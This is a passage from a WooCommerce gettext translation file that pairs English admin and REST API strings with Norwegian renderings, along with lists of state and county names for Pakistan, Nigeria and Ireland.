#: includes/admin/views/html-bulk-edit-product.php:275
#: includes/admin/views/html-bulk-edit-product.php:309
#: includes/admin/views/html-bulk-edit-product.php:328
#: includes/admin/views/html-bulk-edit-product.php:368
msgid "— No change —"
msgstr "— Ingen endring —"
#: includes/admin/views/html-admin-page-status-report.php:1092
msgid "Learn how to update"
msgstr "Lær hvordan man oppdaterer"
#: includes/admin/views/html-admin-page-status-report.php:1085
msgid "Outdated templates"
msgstr "Utdaterte maler"
#. Translators: %1$s: Template name, %2$s: Template version, %3$s: Core
#. version.
#: includes/admin/views/html-admin-page-status-report.php:1058
msgid "%1$s version %2$s is out of date. The core version is %3$s"
msgstr "%1$s versjon %2$s er utdatert. Kjerneversjonen er %3$s"
#. Translators: %s: docs link.
#: includes/admin/views/html-admin-page-status-report.php:879
msgid "Page visibility should be <a href=\"%s\" target=\"_blank\">public</a>"
msgstr "Sidesynlighet bør være <a href=\"%s\" target=\"_blank\">offentlig</a>"
#. Translators: %s: page name.
#: includes/admin/views/html-admin-page-status-report.php:861
msgid "Edit %s page"
msgstr "Rediger %s side"
#: includes/admin/views/html-admin-page-status-report.php:738
msgid "Taxonomies: Product types"
msgstr "Taksonomier: Produkttyper"
#: includes/admin/views/html-admin-page-status-report.php:609
msgid "Error messages should not be shown to visitors."
msgstr "Feilmeldinger skal ikke vised til besøkende."
#: includes/admin/views/html-admin-page-status-report.php:604
msgid "Error messages can contain sensitive information about your store environment. These should be hidden from untrusted visitors."
msgstr "Feilmeldinger kan inneholde sensitiv informasjon om butikkmiljøet. Disse bør være skjult for tvilsomme besøkere."
#: includes/admin/views/html-admin-page-status-report.php:603
msgid "Hide errors from visitors"
msgstr "Skjul feil for besøkere"
#. Translators: %s: docs link.
#: includes/admin/views/html-admin-page-status-report.php:596
msgid "Your store is not using HTTPS. <a href=\"%s\" target=\"_blank\">Learn more about HTTPS and SSL Certificates</a>."
msgstr "Butikken din bruker ikke HTTPS. <a href=\"%s\" target=\"_blank\">Ler mer om HTTPS og SSL sertifikater</a>."
#: includes/admin/views/html-admin-page-status-report.php:588
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:687
msgid "Is the connection to your store secure?"
msgstr "Er tilkoblingen til butikken din sikker?"
#: includes/admin/views/html-admin-page-status-report.php:587
msgid "Secure connection (HTTPS)"
msgstr "Sikker tilkobling (HTTPS)"
#: includes/admin/views/html-admin-page-status-report.php:582
msgid "Security"
msgstr "Sikkerhet"
#. Translators: %1$s: Database prefix, %2$s: Docs link.
#: includes/admin/views/html-admin-page-status-report.php:485
msgid "How to update your database table prefix"
msgstr "Hvordan oppdatere din database tabell prefiks"
#. Translators: %1$s: Database prefix, %2$s: Docs link.
#: includes/admin/views/html-admin-page-status-report.php:485
msgid "%1$s - We recommend using a prefix with less than 20 characters. See: %2$s"
msgstr "%1$s - Vi anbefaler å bruke en prefiks med mindre enn 20 tegn. Se: %2$s"
#: includes/admin/views/html-admin-page-status-report.php:479
msgid "Database prefix"
msgstr "Database prefiks"
#: includes/admin/views/html-admin-page-status-report.php:388
msgid "Multibyte string"
msgstr "Multibyte string"
#: includes/admin/views/html-admin-page-status-report.php:374
msgid "GZip"
msgstr "GZip"
#: includes/admin/views/html-admin-page-status-report.php:360
msgid "DOMDocument"
msgstr "DOMDocument"
#: includes/admin/views/html-admin-page-status-report.php:346
msgid "SoapClient"
msgstr "SoapClient"
#: includes/admin/views/html-admin-page-status-report.php:333
msgid "fsockopen/cURL"
msgstr "fsockopen/cURL"
#: includes/admin/views/html-admin-page-status-logs.php:23
msgid "Delete log"
msgstr "Slett logg"
#: includes/admin/views/html-admin-page-status-logs-db.php:14
msgid "Are you sure you want to clear all logs from the database?"
msgstr "Er du sikker på at du vil fjerne alle logger fra databasen?"
#: includes/admin/views/html-admin-page-status-logs-db.php:26
msgid "Flush all logs"
msgstr "Tøm alle logger"
#: includes/admin/settings/views/html-webhooks-edit.php:151
msgid "Legacy API v3 (deprecated)"
msgstr "Legacy API v3 (foreldet)"
#. translators: %d: rest api version number
#: includes/admin/settings/views/html-webhooks-edit.php:144
msgid "WP REST API Integration v%d"
msgstr "WP REST API Integration v%d"
#: includes/admin/settings/views/html-webhooks-edit.php:135
msgid "REST API version used in the webhook deliveries."
msgstr "REST API-versjonen som brukes i webhook leveranser."
#: includes/admin/settings/views/html-settings-tax.php:140
msgctxt "Pagination"
msgid "%1$s of %2$s"
msgstr "%1$s av %2$s"
#: includes/admin/settings/views/html-keys-edit.php:59
msgid "Search for a user…"
msgstr "Søk etter en bruker…"
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:44
msgid "Zone regions"
msgstr "Soneregioner"
#: includes/admin/settings/class-wc-settings-shipping.php:382
msgid "Are you sure you want to delete this zone? This action cannot be undone."
msgstr "Er du sikkert på at du vil slette denne sonen? Denne handlingen kan ikke angres."
#: includes/admin/settings/class-wc-settings-shipping.php:157
msgid "Enable debug mode"
msgstr "Aktiver feilsøkingsmodus"
#: includes/admin/settings/class-wc-settings-shipping.php:156
msgid "Debug mode"
msgstr "Feilsøkingsmodus"
#: includes/admin/settings/class-wc-settings-shipping.php:57
#: includes/admin/settings/views/html-admin-page-shipping-zones-instance.php:7
#: includes/admin/settings/views/html-admin-page-shipping-zones.php:16
#: includes/admin/views/html-notice-legacy-shipping.php:18
#: assets/client/admin/chunks/shipping-recommendations.js:1
msgid "Shipping zones"
msgstr "Fraktsoner"
#: includes/admin/settings/class-wc-settings-products.php:347
msgid "Never show quantity remaining in stock"
msgstr "Aldri vis antall på lager"
#: includes/admin/settings/class-wc-settings-products.php:346
msgid "Only show quantity remaining in stock when low e.g. \"Only 2 left in stock\""
msgstr "Kun vis antall på lager når antallet er lavt, f.eks. \"Kun 2 på lager\""
#: includes/admin/settings/class-wc-settings-products.php:345
msgid "Always show quantity remaining in stock e.g. \"12 in stock\""
msgstr "Alltid vis antall på lager, f.eks. \"12 på lager\""
#: includes/admin/settings/class-wc-settings-products.php:338
msgid "This controls how stock quantities are displayed on the frontend."
msgstr "Dette styrer hvordan lagerbeholdningen vises på publikumsområdet."
#: includes/admin/settings/class-wc-settings-products.php:315
msgid "When product stock reaches this amount the stock status will change to \"out of stock\" and you will be notified via email. This setting does not affect existing \"in stock\" products."
msgstr "Når lagerbeholdningen når dette antallet, endres lagerstatusen til «Utsolgt», og du vil bli varslet via e-post. Denne innstillingen påvirker ikke eksisterende «På lager»-produkter."
#: includes/admin/settings/class-wc-settings-products.php:299
msgid "When product stock reaches this amount you will be notified via email."
msgstr "Når produktlageret kommer på dette antallet vil du bli varslet på e-post."
#. Translators: %s Page contents.
#: includes/admin/settings/class-wc-settings-advanced.php:121
msgid "Page contents: [%s]"
msgstr "Sideinnhold: [%s]"
#: includes/admin/reports/class-wc-report-sales-by-product.php:430
msgid "Choose a product to view stats"
msgstr "Velg et produkt for å se statistikker"
#. translators: 1: total refunds 2: total refunded orders 3: refunded items
#: includes/admin/reports/class-wc-report-sales-by-date.php:544
msgid "%1$s refunded %2$d order (%3$d item)"
msgid_plural "%1$s refunded %2$d orders (%3$d items)"
msgstr[0] "%1$s refundert %2$d ordre (%3$d produkt)"
msgstr[1] "%1$s refundert %2$d ordrer (%3$d produkter)"
#: includes/admin/reports/class-wc-report-sales-by-category.php:289
msgid "Choose a category to view stats"
msgstr "Velg en kategori for å se statistikker"
#. translators: 1: total items sold 2: category name
#: includes/admin/reports/class-wc-report-sales-by-category.php:100
msgid "%1$s sales in %2$s"
msgstr "%1$s salg i %2$s"
#: includes/admin/meta-boxes/views/html-variation-admin.php:493
msgid "Add file"
msgstr "Legg til fil"
#: includes/admin/meta-boxes/views/html-variation-admin.php:447
msgid "Enter an optional description for this variation."
msgstr "Legg inn en valgfri beskrivelse for denne varianten."
#: includes/admin/meta-boxes/views/html-variation-admin.php:370
msgid "Length x width x height in decimal form"
msgstr "Lengde x bredde x høyde i desimal form"
#. translators: %s: Weight unit
#. translators: %s: weight unit
#. translators: %s: weight
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:631
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:817
#: includes/admin/meta-boxes/views/html-product-data-shipping.php:18
#: includes/admin/meta-boxes/views/html-variation-admin.php:334
#: includes/export/class-wc-product-csv-exporter.php:149
msgid "Weight (%s)"
msgstr "Vekt (%s)"
#. translators: %s: currency symbol
#: includes/admin/meta-boxes/views/html-variation-admin.php:159
msgid "Sale price (%s)"
msgstr "Tilbudspris (%s)"
#. translators: %s: currency symbol
#: includes/admin/meta-boxes/views/html-variation-admin.php:141
msgid "Regular price (%s)"
msgstr "Ordinær pris (%s)"
#. translators: %s: attribute label
#: includes/admin/meta-boxes/views/html-variation-admin.php:36
msgid "Any %s…"
msgstr "Enhver %s…"
#. translators: WooCommerce attribute label
#: includes/admin/meta-boxes/views/html-product-data-variations.php:51
msgid "No default %s…"
msgstr "Ingen standard %s…"
#. translators: WooCommerce dimension unit
#: includes/admin/meta-boxes/views/html-product-data-shipping.php:37
msgid "Dimensions (%s)"
msgstr "Dimensjoner (%s)"
#: includes/admin/meta-boxes/views/html-product-data-linked-products.php:28
msgid "This lets you choose which products are part of this group."
msgstr "Dette lar deg velge hvilke produkter som er del av denne gruppen."
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:651
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:837
#: includes/admin/meta-boxes/views/html-product-data-linked-products.php:16
#: includes/export/class-wc-product-csv-exporter.php:167
msgid "Grouped products"
msgstr "Grupperte produkter"
#. translators: 1: refund id 2: refund date
#: includes/admin/meta-boxes/views/html-order-refund.php:36
msgid "Refund #%1$s - %2$s"
msgstr "Refusjon nr. %1$s - %2$s"
#. translators: refund amount
#: includes/admin/meta-boxes/views/html-order-items.php:411
msgid "Refund %s manually"
msgstr "Refunder %s manuelt"
#. translators: refund amount, gateway name
#: includes/admin/meta-boxes/views/html-order-items.php:407
msgid "Refund %1$s via %2$s"
msgstr "Refunder %1$s gjennom %2$s"
#: includes/admin/meta-boxes/views/html-order-items.php:125
#: src/Admin/API/Reports/Orders/Controller.php:470
#: assets/client/admin/chunks/analytics-report-orders.js:1
msgid "Coupon(s)"
msgstr "Rabattkode(r)"
#. translators: %s: variation id
#: includes/admin/meta-boxes/views/html-order-item.php:50
msgid "%s (No longer exists)"
msgstr "%s (Finnes ikke lenger)"
#: includes/admin/meta-boxes/class-wc-meta-box-order-notes.php:45
msgid "Note type"
msgstr "Notattype"
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:561
msgid "Copy billing address"
msgstr "Kopier fakturaadresse"
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:438
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:574
msgid "Address:"
msgstr "Adresse:"
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:365
msgid "View other orders →"
msgstr "Se andre ordrer →"
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:336
msgid "Customer payment page →"
msgstr "Kunde betalingsside →"
#. translators: %s: IP address
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:274
msgid "Customer IP: %s"
msgstr "Kunde-IP: %s"
#. translators: 1: order type 2: order number
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:224
msgid "%1$s #%2$s details"
msgstr "%1$s nr. %2$s – Detaljer"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:311
msgid "Apply to all qualifying items in cart"
msgstr "Gjelde for alle kvalifiserte produkter i kurven"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:293
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:329
msgid "Unlimited usage"
msgstr "Ubegrenset bruk"
#. translators: %s: tax rates count
#: includes/admin/importers/class-wc-tax-rate-importer.php:187
msgid "Import complete - imported %s tax rates."
msgstr "Import ferdig - importerte %s avgiftssatser."
#: includes/admin/class-wc-admin-status.php:82
msgid "Tool does not exist."
msgstr "Verktøyet finnes ikke."
#. translators: %s: URL
#: includes/admin/class-wc-admin-setup-wizard.php:1384
msgid "Safe and secure payments using credit cards or your customer's PayPal account. <a href=\"%s\" target=\"_blank\">Learn more</a>."
msgstr "Sikre og trygge betalinger som bruker kundens kredittkort eller PayPal konto. <a href=\"%s\" target=\"_blank\">Lær mer om PayPal</a>."
#. translators: 1: currency name 2: currency code
#. translators: %1$s: tax item name %2$s: tax class name
#. translators: 1. Weight number; 2. Weight unit; E.g. 2 kg
#: includes/admin/class-wc-admin-setup-wizard.php:554
#: includes/admin/meta-boxes/views/html-order-items.php:59
#: includes/admin/views/html-bulk-edit-product.php:169
#: assets/client/admin/chunks/customize-store.js:1
msgid "%1$s (%2$s)"
msgstr "%1$s (%2$s)"
#: includes/admin/class-wc-admin-profile.php:62
#: includes/admin/class-wc-admin-profile.php:122
#: includes/admin/class-wc-admin-setup-wizard.php:514
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:75
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:147
#: includes/admin/settings/class-wc-settings-general.php:124
#: includes/customizer/class-wc-shop-customizer.php:743
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:252
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:315
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1324
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1387
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:148
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:211
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:278
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:341
#: assets/client/blocks/checkout.js:2
msgid "Address line 2"
msgstr "Adresselinje 2"
#: includes/admin/class-wc-admin-profile.php:58
#: includes/admin/class-wc-admin-profile.php:118
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:71
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:143
#: includes/admin/settings/class-wc-settings-general.php:115
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:247
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:310
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1319
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1382
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:143
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:206
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:273
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:336
msgid "Address line 1"
msgstr "Adresselinje 1"
#. translators: %s: URL to read more about the shop page.
#: includes/admin/class-wc-admin-post-types.php:838
msgid "This is the WooCommerce shop page. The shop page is a special archive that lists your products. <a href=\"%s\">You can read more about this here</a>."
msgstr "Dette er WooCommerce butikksiden. Butikksiden er et spesielt arkiv som viser dine produkter. <a href=\"%s\">Du kan lese mer om dette her</a>."
#. translators: 1: customer name, 2 customer id, 3: customer email
#. translators: 1: user display name 2: user ID 3: user email
#. translators: $1: customer name, $2 customer id, $3: customer email
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:387
#: includes/admin/settings/views/html-keys-edit.php:53
#: includes/class-wc-ajax.php:1825 src/Internal/Admin/Orders/ListTable.php:985
#: src/Internal/StockNotifications/Admin/ListTable.php:503
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-create.php:90
msgid "%1$s (#%2$s – %3$s)"
msgstr "%1$s (nr. %2$s – %3$s)"
#. translators: 1: count 2: limit
#: includes/admin/list-tables/class-wc-admin-list-table-coupons.php:168
msgid "%1$s / %2$s"
msgstr "%1$s / %2$s"
#: includes/admin/class-wc-admin-log-table-list.php:291
#: src/Internal/Admin/Logging/FileV2/FileListTable.php:109
msgid "All sources"
msgstr "Alle kilder"
#: includes/admin/class-wc-admin-log-table-list.php:289
msgid "Filter by source"
msgstr "Filtrer på kilde"
#: includes/admin/class-wc-admin-log-table-list.php:137
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:277
#: src/Internal/Admin/Logging/FileV2/FileListTable.php:198
#: templates/order/attribution-details.php:68
msgid "Source"
msgstr "Kilde"
#: includes/admin/class-wc-admin-log-table-list.php:136
msgid "Message"
msgstr "Melding"
#: includes/admin/class-wc-admin-log-table-list.php:135
msgid "Level"
msgstr "Nivå"
#: includes/admin/class-wc-admin-log-table-list.php:134
#: includes/admin/reports/class-wc-report-downloads.php:218
#: includes/class-wc-privacy-exporters.php:146
msgid "Timestamp"
msgstr "Tidsstempel"
#: includes/admin/class-wc-admin-log-table-list.php:77
msgid "All levels"
msgstr "Alle nivåer"
#: includes/admin/class-wc-admin-log-table-list.php:75
msgid "Filter by level"
msgstr "Filtrer på nivå"
#: includes/class-wc-log-levels.php:156
msgid "Debug"
msgstr "Debug"
#: includes/class-wc-log-levels.php:155
msgid "Info"
msgstr "Info"
#: includes/class-wc-log-levels.php:154
msgid "Notice"
msgstr "Melding"
#: includes/class-wc-log-levels.php:153
msgid "Warning"
msgstr "Varsel"
#: includes/class-wc-log-levels.php:151
msgid "Critical"
msgstr "Kritisk"
#: includes/class-wc-log-levels.php:150
msgid "Alert"
msgstr "Varsel"
#: includes/class-wc-log-levels.php:149
msgid "Emergency"
msgstr "Emergency"
#: includes/admin/class-wc-admin-help.php:57
#: includes/admin/class-wc-admin-help.php:69
#: includes/admin/views/html-admin-page-status.php:12
#: includes/react-admin/connect-existing-pages.php:44
msgid "System status"
msgstr "Systemstatus"
#. translators: %s: review author
#: includes/admin/class-wc-admin-dashboard.php:451
msgid "reviewed by %s"
msgstr "omtalt av %s"
#. translators: %s: rating
#: includes/admin/class-wc-admin-dashboard.php:448
msgid "%s out of 5"
msgstr "%s av 5"
#. translators: %s: net sales
#: includes/admin/class-wc-admin-dashboard.php:219
msgid "%s net sales this month"
msgstr "%s netto salg denne måneden"
#: includes/admin/class-wc-admin-attributes.php:340
msgid "(Public)"
msgstr "(Offentlig)"
#: includes/admin/class-wc-admin-attributes.php:224
msgid "Enable archives?"
msgstr "Aktiver arkiver?"
#. translators: 1: last access date 2: last access time
#. translators: %1$s: note date %2$s: note time
#. translators: 1 - Product review date, 2: Product review time.
#: includes/admin/class-wc-admin-api-keys-table-list.php:185
#: includes/admin/meta-boxes/views/html-order-notes.php:33
#: includes/admin/settings/views/html-keys-edit.php:109
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1127
msgid "%1$s at %2$s"
msgstr "%1$s kl %2$s"
#: includes/rest-api/Controllers/Version3/class-wc-rest-shipping-zones-controller-base.php:61
#: includes/rest-api/Controllers/Version3/class-wc-rest-shipping-zones-controller-base.php:79
#: includes/rest-api/Controllers/Version3/class-wc-rest-shipping-zones-controller-base.php:97
#: includes/rest-api/Controllers/Version3/class-wc-rest-shipping-zones-controller-base.php:115
#: src/RestApi/Routes/V4/ShippingZones/Controller.php:110
#: src/RestApi/Routes/V4/ShippingZones/Controller.php:140
#: src/StoreApi/Routes/V1/CartSelectShippingRate.php:73
msgid "Shipping is disabled."
msgstr "Frakt er deaktivert."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1644
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:948
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1579
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:151
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:258
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:731
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:737
msgid "To manipulate product variations you should use the /products/<product_id>/variations/<id> endpoint."
msgstr "For å redigere produktvarianter vennligst bruk /products/<product_id>/variations/<id> sluttpunktet."
#. translators: %s: Class method name.
#. translators: %s: Method name
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:43
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:114
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:127
#: src/Admin/API/Reports/DataStore.php:280 src/Admin/API/Reports/Query.php:39
msgid "Method '%s' not implemented. Must be overridden in subclass."
msgstr "Metoden '%s' er ikke implementert. Må bli overstyrt i subklasser."
#: includes/rest-api/Controllers/Version2/class-wc-rest-payment-gateways-v2-controller.php:192
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:321
#: includes/rest-api/Controllers/Version3/class-wc-rest-controller.php:392
#: includes/rest-api/Controllers/Version3/class-wc-rest-controller.php:410
#: includes/rest-api/Controllers/Version3/class-wc-rest-controller.php:433
#: includes/rest-api/Controllers/Version3/class-wc-rest-controller.php:476
#: includes/rest-api/Controllers/Version3/class-wc-rest-payment-gateways-controller.php:240
msgid "An invalid setting value was passed."
msgstr "En ugyldig innstillingsverdi ble sendt."
#: includes/abstracts/abstract-wc-product.php:978
msgid "Invalid product tax status."
msgstr "Ugyldig avgiftsstatus for produkt."
#: includes/abstracts/abstract-wc-product.php:863
#: assets/client/admin/product-editor/index.js:2
msgid "Invalid or duplicated SKU."
msgstr "Ugyldig eller duplikat produktnummer."
#: includes/abstracts/abstract-wc-product.php:824
msgid "Invalid catalog visibility option."
msgstr "Ugyldig valg for katalogsynlighet."
#: includes/abstracts/abstract-wc-order.php:704
msgid "Invalid currency code"
msgstr "Ugyldig valutakode"
#: includes/abstracts/abstract-wc-order.php:635
msgid "Invalid parent ID"
msgstr "Ugyldig forelder ID"
#: i18n/states.php:1600
msgid "Sindh"
msgstr "Sindh"
#: i18n/states.php:1598
msgid "Khyber Pakhtunkhwa"
msgstr "Khyber Pakhtunkhwa"
#: i18n/states.php:1597
msgid "Islamabad Capital Territory"
msgstr "Islamabad Capital Territory"
#: i18n/states.php:1596
msgid "Gilgit Baltistan"
msgstr "Gilgit Baltistan"
#: i18n/states.php:1595
msgid "FATA"
msgstr "FATA"
#: i18n/states.php:1594
msgid "Balochistan"
msgstr "Balochistan"
#: i18n/states.php:1593
msgid "Azad Kashmir"
msgstr "Azad Kashmir"
#: i18n/states.php:1408
msgid "Zamfara"
msgstr "Zamfara"
#: i18n/states.php:1407
msgid "Yobe"
msgstr "Yobe"
#: i18n/states.php:1406
msgid "Taraba"
msgstr "Taraba"
#: i18n/states.php:1405
msgid "Sokoto"
msgstr "Sokoto"
#: i18n/states.php:1404
msgid "Rivers"
msgstr "Rivers"
#: i18n/states.php:203 i18n/states.php:1403
msgid "Plateau"
msgstr "Plateau"
#: i18n/states.php:1402
msgid "Oyo"
msgstr "Oyo"
#: i18n/states.php:1401
msgid "Osun"
msgstr "Osun"
#: i18n/states.php:1400
msgid "Ondo"
msgstr "Ondo"
#: i18n/states.php:1399
msgid "Ogun"
msgstr "Ogun"
#: i18n/states.php:1397
msgid "Nasarawa"
msgstr "Nasarawa"
#: i18n/states.php:1396
msgid "Lagos"
msgstr "Lagos"
#: i18n/states.php:1395
msgid "Kwara"
msgstr "Kwara"
#: i18n/states.php:1394
msgid "Kogi"
msgstr "Kogi"
#: i18n/states.php:1393
msgid "Kebbi"
msgstr "Kebbi"
#: i18n/states.php:1392
msgid "Katsina"
msgstr "Katsina"
#: i18n/states.php:1391
msgid "Kano"
msgstr "Kano"
#: i18n/states.php:1390
msgid "Kaduna"
msgstr "Kaduna"
#: i18n/states.php:1389
msgid "Jigawa"
msgstr "Jigawa"
#: i18n/states.php:1388
msgid "Imo"
msgstr "Imo"
#: i18n/states.php:1387
msgid "Gombe"
msgstr "Gombe"
#: i18n/states.php:1386
msgid "Enugu"
msgstr "Enugu"
#: i18n/states.php:1385
msgid "Ekiti"
msgstr "Ekiti"
#: i18n/states.php:1384
msgid "Edo"
msgstr "Edo"
#: i18n/states.php:1383
msgid "Ebonyi"
msgstr "Ebonyi"
#: i18n/states.php:1382
msgid "Delta"
msgstr "Delta"
#: i18n/states.php:1381
msgid "Cross River"
msgstr "Cross River"
#: i18n/states.php:1380
msgid "Borno"
msgstr "Borno"
#: i18n/states.php:1379
msgid "Benue"
msgstr "Benue"
#: i18n/states.php:1378
msgid "Bayelsa"
msgstr "Bayelsa"
#: i18n/states.php:1377
msgid "Bauchi"
msgstr "Bauchi"
#: i18n/states.php:1376
msgid "Anambra"
msgstr "Anambra"
#: i18n/states.php:1375
msgid "Akwa Ibom"
msgstr "Akwa Ibom"
#: i18n/states.php:1374
msgid "Adamawa"
msgstr "Adamawa"
#: i18n/states.php:1373
msgid "Abuja"
msgstr "Abuja"
#: i18n/states.php:1372
msgid "Abia"
msgstr "Abia"
#: i18n/states.php:924
msgid "L'Aquila"
msgstr "L'Aquila"
#: i18n/states.php:803
msgid "Wexford"
msgstr "Wexford"
#: i18n/states.php:804
msgid "Wicklow"
msgstr "Wicklow"
#: i18n/states.php:802
msgid "Westmeath"
msgstr "Westmeath"
#: i18n/states.php:801
msgid "Waterford"
msgstr "Waterford"
#: i18n/states.php:800
msgid "Tipperary"
msgstr "Tipperary"
#: i18n/states.php:799
msgid "Sligo"
msgstr "Sligo"
#: i18n/states.php:798
msgid "Roscommon"
msgstr "Roscommon"
#: i18n/states.php:797
msgid "Offaly"
msgstr "Offaly"
#: i18n/states.php:794
msgid "Mayo"
msgstr "Mayo"
#: i18n/states.php:796
msgid "Monaghan"
msgstr "Monaghan"
#: i18n/states.php:795
msgid "Meath"
msgstr "Meath"
#: i18n/states.php:789
msgid "Laois"
msgstr "Laois"
#: i18n/states.php:790
msgid "Leitrim"
msgstr "Leitrim"
#: i18n/states.php:791
msgid "Limerick"
msgstr "Limerick"
#: i18n/states.php:793
msgid "Louth"
msgstr "Louth"
#: i18n/states.php:792
msgid "Longford"
msgstr "Longford"
#: i18n/states.php:786
msgid "Kerry"
msgstr "Kerry"
#: i18n/states.php:788
msgid "Kilkenny"
msgstr "Kilkenny"
#: i18n/states.php:787
msgid "Kildare"
msgstr "Kildare"
#: i18n/states.php:785
msgid "Galway"
msgstr "Galway"
#: i18n/states.php:784
msgid "Dublin"
msgstr "Dublin"
#: i18n/states.php:783
msgid "Donegal"
msgstr "Donegal"
#: i18n/states.php:779
msgid "Carlow"
msgstr "Carlow"
#: i18n/states.php:780
msgid "Cavan"
msgstr "Cavan"
#: i18n/states.php:782
msgid "Cork"
msgstr "Cork"
#: i18n/states.php:781
msgid "Clare"
msgstr "Clare"
#: i18n/countries.php:122
msgid "Ireland"
msgstr "Ireland"
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:73
msgid "Webhook delivery URL."
msgstr "Webhook leverings-URL."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhook-deliveries-v1-controller.php:47
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhook-deliveries-v1-controller.php:63
msgid "Unique identifier for the webhook."
msgstr "Unik ID for webhook'en."
#: includes/rest-api/Controllers/Version1/class-wc-rest-tax-classes-v1-controller.php:67
#: includes/rest-api/Controllers/Version2/class-wc-rest-tax-classes-v2-controller.php:58
msgid "Unique slug for the resource."
msgstr "Unik identifikator for ressursen."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:78
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:71
msgid "Email of the reviewer."
msgstr "Omtaleforfatterens e-post."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:73
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:66
msgid "Name of the reviewer."
msgstr "Omtaleforfatterens navn."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:68
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:61
msgid "Review content."
msgstr "Omtalenes innhold."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:50
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:82
msgid "Unique identifier for the variation."
msgstr "Unik identifikator for varianten."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:46
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:88
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-reviews-v2-controller.php:45
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:55
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:78
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:123
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:56
msgid "Unique identifier for the variable product."
msgstr "Unik ID for det variable produktet."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attribute-terms-v1-controller.php:47
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attribute-terms-v1-controller.php:79
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attribute-terms-v1-controller.php:115
msgid "Unique identifier for the attribute of the terms."
msgstr "Unik ID for termenes attributt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-notes-v1-controller.php:70
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-notes-v2-controller.php:147
#: includes/rest-api/Controllers/Version3/class-wc-rest-order-notes-controller.php:146
#: src/RestApi/Routes/V4/OrderNotes/Schema/OrderNoteSchema.php:72
msgid "Order note content."
msgstr "Ordrenotat innhold."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-notes-v1-controller.php:53
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-notes-v1-controller.php:85
